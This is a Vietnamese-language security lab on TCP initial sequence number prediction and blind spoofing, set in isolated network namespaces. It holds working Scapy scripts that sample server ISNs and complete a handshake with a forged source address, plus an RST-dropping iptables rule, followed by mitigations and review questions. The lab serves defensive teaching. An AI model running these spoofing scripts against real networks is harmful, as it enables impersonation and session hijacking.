BÀI THỰC HÀNH 01

Kỹ thuật tấn công dự đoán TCP Sequence Number

TCP Initial Sequence Number (ISN) Prediction & Blind Spoofing

Thời lượng	
Mức độ	Trung bình
Môi trường	1 VM Kali Linux (≥2GB RAM cho VM) · ip netns + veth
Công cụ	Scapy, tcpdump, ncat (ncat/nc), python3

⚠ Bài thực hành chỉ được thực hiện trong môi trường phòng lab cô lập (máy ảo + network namespace trên chính máy của bạn). Mọi kỹ thuật ở đây thuộc nhóm tấn công mạng; việc áp dụng lên hệ thống/mạng không thuộc quyền sở hữu hoặc không được cho phép bằng văn bản là VI PHẠM PHÁP LUẬT (Luật An ninh mạng 2018 — Luật số 24/2018/QH14, và Bộ luật Hình sự). Mục tiêu học tập là hiểu cơ chế để phòng thủ (defensive security).

Mục tiêu bài học

- Hiểu vai trò của **Sequence Number (SEQ/ACK)** trong bắt tay 3 bước (3-way handshake) của TCP.
- Hiểu vì sao **ISN có thể dự đoán** (predictable) lại cho phép tấn công giả mạo mù (blind spoofing / TCP session hijacking).
- Thu thập và phân tích ISN của một máy chủ hiện đại để thấy **tính ngẫu nhiên** (RFC 6528).
- Mô phỏng hoàn tất bắt tay TCP với địa chỉ nguồn **bị giả mạo** (spoofed source) bằng Scapy.

Kiến thức nền tối thiểu

- Mỗi kết nối TCP bắt đầu bằng SYN → SYN/ACK → ACK; bên nhận chọn một **ISN** và bên kia phải ACK đúng giá trị `ISN+1`.
- Nếu ISN tăng theo quy luật (ví dụ cộng một hằng số theo thời gian như các stack cũ), kẻ tấn công **ngoài luồng** (off-path) có thể đoán ISN và chèn gói mà không cần thấy phản hồi.
- Linux hiện đại sinh ISN bằng hàm băm có khóa bí mật (RFC 6528) ⇒không thể đoán.

1. Chuẩn bị môi trường

Lưu kịch bản dựng topo vào tệp rồi chạy. Hai "máy" h1 (attacker/client) và h2 (victim/server).

▸ Tạo tệp setup_pair.sh và chạy: sudo bash setup_pair.sh

```
#!/bin/bash
# setup_pair.sh - Dung 2 namespace (h1, h2) noi voi nhau qua mot lien ket veth
set -e
ip netns add h1
ip netns add h2
ip link add veth1 type veth peer name veth2
ip link set veth1 netns h1
ip link set veth2 netns h2
ip netns exec h1 ip addr add 10.0.0.1/24 dev veth1
ip netns exec h2 ip addr add 10.0.0.2/24 dev veth2
ip netns exec h1 ip link set veth1 up
ip netns exec h2 ip link set veth2 up
ip netns exec h1 ip link set lo up
ip netns exec h2 ip link set lo up
```

```
echo "[+] Topo san sang. Kiem tra ket noi:"
ip netns exec h1 ping -c2 10.0.0.2
```

▸ *Cách mở shell trong từng namespace*

```
# Moi "may" la mot namespace. Mo mot shell rieng trong namespace:
sudo ip netns exec h1 bash      # terminal dong vai attacker (h1)
sudo ip netns exec h2 bash      # terminal dong vai victim  (h2)
# Trong shell do, lenh mang se chay dung trong "may" tuong ung.
```

Chặn kernel của h1 tự gửi gói RST (để Scapy tự quản lý trạng thái kết nối giả mạo):

```
ip netns exec h1 iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
```

2. Các bước thực hành

Bước 2.1 — Mở dịch vụ TCP trên victim (h2)

▸ *Terminal victim — giữ cửa sổ này chạy*

```
ip netns exec h2 ncat -lk 10.0.0.2 9000
# Neu khong co ncat:  ip netns exec h2 nc -lk 9000
```

Bước 2.2 — Thu thập và phân tích ISN của server

Mở terminal cho h1, tạo tệp sau và chạy. Script gửi 30 gói SYN và đọc ISN trong các gói SYN/ACK trả về:

▸ *Terminal attacker (h1)*

```
cat > /tmp/isn_sampler.py <<'EOF'
from scapy.all import IP, TCP, sr1, send, RandShort
isns = []
for i in range(30):
    sport = int(RandShort())
    syn = IP(src="10.0.0.1", dst="10.0.0.2")/TCP(sport=sport, dport=9000, flags="S", seq=1000)
    ans = sr1(syn, timeout=1, verbose=0)
    if ans and ans.haslayer(TCP) and (ans[TCP].flags & 0x12) == 0x12:   # SYN+ACK
        isns.append(ans[TCP].seq)
        send(IP(src="10.0.0.1", dst="10.0.0.2")/TCP(sport=sport, dport=9000,
             flags="R", seq=1001), verbose=0)                          # dong ket noi
print("So ISN thu duoc:", len(isns))
for x in isns:
    print(hex(x), x)
print("\n--- Chenh lech giua cac ISN lien tiep ---")
for a, b in zip(isns, isns[1:]):
    print(b - a)
EOF
ip netns exec h1 python3 /tmp/isn_sampler.py
```

✓**Kết quả mong đợi:** Danh sách ISN trông ngẫu nhiên; các giá trị chênh lệch lớn, không theo quy luật. Kết luận: stack TCP hiện đại ngẫu nhiên hóa ISN nên không thể dự đoán. (Trên stack cũ, chênh lệch sẽ là hằng số — ví dụ +64000/giây hoặc +1 — và bị dự đoán dễ dàng.)

Bước 2.3 — Hoàn tất bắt tay TCP với địa chỉ nguồn giả mạo

Vì attacker (h1) nằm **cùng đoạn mạng** nên có thể bắt được gói SYN/ACK để lấy đúng ISN — minh họa vì sao kẻ tấn công off-path (không bắt được gói) mới cần tới kỹ thuật *dự đoán* ISN.

▸ *Terminal attacker (h1)*

```
cat > /tmp/spoof_sniff.py <<'EOF'
from scapy.all import *
victim = "10.0.0.2"; spoof = "10.0.0.77"; dport = 9000; sport = 12345
# 1) Gui SYN voi dia chi nguon GIA MAO (.77 khong ton tai)
send(IP(src=spoof, dst=victim)/TCP(sport=sport, dport=dport, flags="S", seq=1000), verbose=0)
# 2) Bat SYN/ACK tren lien ket (tan cong on-path -> khong can du doan ISN)
sa = sniff(iface="veth1", timeout=3, count=1,
           lfilter=lambda p: p.haslayer(TCP) and p[TCP].dport == sport
           and (p[TCP].flags & 0x12) == 0x12)
if not sa:
    print("Khong bat duoc SYN/ACK"); exit()
isn = sa[0][TCP].seq
print("ISN that cua server =", hex(isn))
# 3) Gui ACK dung ack=ISN+1 -> hoan tat bat tay du nguon bi gia mao
send(IP(src=spoof, dst=victim)/TCP(sport=sport, dport=dport, flags="A",
     seq=1001, ack=isn + 1), verbose=0)
# 4) Gui du lieu "nhu la" .77
send(IP(src=spoof, dst=victim)/TCP(sport=sport, dport=dport, flags="PA",
     seq=1001, ack=isn + 1)/b"hello-from-spoofed-source\n", verbose=0)
print("Da gui du lieu voi dia chi nguon gia mao", spoof)
EOF
ip netns exec h1 python3 /tmp/spoof_sniff.py
```

Quan sát trên victim (mở thêm một terminal cho h2):

▸ Terminal quan sát (h2)

```
ip netns exec h2 tcpdump -i veth2 -nn -A tcp port 9000
```

✓**Kết quả mong đợi:** tcpdump ghi nhận gói dữ liệu đến cổng 9000 có địa chỉ nguồn 10.0.0.77 (địa chỉ giả). Vì attacker bắt được ISN nên không cần dự đoán — đây chính là lý do phòng thủ chống giả mạo cần chặn cả nghe lén trên đường truyền (mã hóa) lẫn dự đoán ISN.

Phòng chống (Mitigation)

- Ngẫu nhiên hóa ISN theo RFC 6528 (mặc định trên Linux/Windows hiện đại) — chống dự đoán off-path.
- Lọc gói theo BCP 38 / RFC 2827 (ingress/egress filtering) để chặn địa chỉ nguồn giả mạo.
- Dùng giao thức có xác thực & mã hóa (TLS, SSH, IPsec) để nghe lén/chèn gói không đủ để chiếm phiên.
- Bật TCP timestamps và chống SYN flood (syncookies) cùng với xác thực tầng ứng dụng.

Câu hỏi ôn tập

1. Giải thích vai trò của SEQ và ACK trong bắt tay 3 bước. Vì sao bên tấn công off-path phải đoán đúng ISN?
2. Từ dữ liệu ở Bước 2.2, cho biết các ISN có theo quy luật không? Giá trị chênh lệch nói lên điều gì về cơ chế sinh ISN?
3. Trong Bước 2.3, nếu attacker ở **ngoài** đoạn mạng (không sniff được SYN/ACK) thì phải làm gì để hoàn tất bắt tay? Điều này liên hệ thế nào với 'dự đoán ISN'?
4. BCP 38 ngăn chặn thành phần nào của cuộc tấn công? Vì sao chỉ ngẫu nhiên hóa ISN là chưa đủ?
5. Dùng lệnh nào để quan sát ISN do chính kernel của bạn sinh ra cho một kết nối thật? (gợi ý: tcpdump bắt gói SYN đi ra).

Tài liệu tham khảo

- RFC 793 — Transmission Control Protocol.

- RFC 1948 & RFC 6528 — Defending Against Sequence Number Attacks.
- R. Morris (1985), 'A Weakness in the 4.2BSD Unix TCP/IP Software'; vụ Mitnick–Shimomura (1994).